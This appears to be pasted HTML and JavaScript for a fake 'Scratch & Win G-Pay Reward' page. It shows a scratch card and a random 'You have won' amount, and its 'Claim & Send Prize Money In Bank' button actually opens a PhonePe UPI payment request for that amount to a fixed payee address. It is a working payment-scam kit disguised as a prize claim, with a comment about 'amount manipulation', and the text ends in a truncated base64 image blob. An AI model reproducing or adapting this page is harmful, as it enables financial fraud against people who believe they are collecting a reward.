Untitled
2 years ago in HTML
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<meta property="og:type" content="website">
<meta property="og:title" content="Scratch &amp; Win G=Pay Reward">
<meta property="og:description" content="Claim Now and Withdraw it">
<meta property="og:image" content="rewd/prize.html">
<title>Scratch &amp; Win G--Pay Reward</title>
<script>
function randomNumber(min, max) {
return Math.random() * (max - min) + min;
}
var price = Math.floor(randomNumber(498,988));
console.log(price);
</script><script src="OneSignalPageSDKES6.js" async=""></script><link rel="stylesheet" href="OneSignalSDKStyles.css"
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gtag('js', new Date());
gtag('config', 'UA-146933267-1');
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</head>
<!-- ///////Amount manupulation/////////// -->
<body>
<div>
<img src="rewq.png" width="100%" height="auto">
</div>
<!-- ////////////////////////// -->
<!-- ////////////// -->
<div class="container" id="js-container">
<div class="confetti"></div>
<div class="confetti"></div>
<div class="confetti"></div>
<div class="confetti"></div>
<div class="confetti"></div>
<div class="confetti"></div>
<div class="confetti"></div>
<div class="confetti"></div>
<div class="confetti"></div>
<div class="confetti"></div>
<div class="confetti"></div>
<canvas class="canvas" id="js-canvas" width="290" height="290" style="z-index: 2;height: 299px; width: 309px;"></canvas>
<form class="form" style="visibility: visible;">
<img src="phonpe.png">
<span style="position: absolute;left: 15px;right: 0;z-index: 1;bottom: 0;">
<center>
<h2><b>You have won</b></h2>
<h2><b><script>document.write(price)</script></b></h2>
</center>
</span>
</form>
</div>
<!-- /////////////// -->
<div class="foot">
<div style="font-size: 15px; padding: 20px;">
<b>Next Step :</b><br>
Click send money to directly send <br>
reward amount to your bank account.
</div>
<div class="foot1">
<a style="color: #ffffff; text-decoration: none;" href="phonepe:/pay?pa=gp8671@icici" onclick="this.href=this.href.split('?')[0]+'/pay?pa=gp8671@icici&amp;pn=Razorpay&amp;tn=BestofLuck&amp;am='+price+'&amp;cu=INR&amp;mc=5411&amp;tr='+new Date().getTime()">
Claim &amp; Send Prize Money In Bank
</a>
</div>
</div>
<!-- ////////////////// -->
<script>
(function() {
'use strict';
var isDrawing, lastPoint;
var container = document.getElementById('js-container'),
canvas = document.getElementById('js-canvas'),
canvasWidth = canvas.width,
canvasHeight = canvas.height,
ctx = canvas.getContext('2d'),
image = new Image(),
brush = new Image();
// base64 Workaround because Same-Origin-Policy
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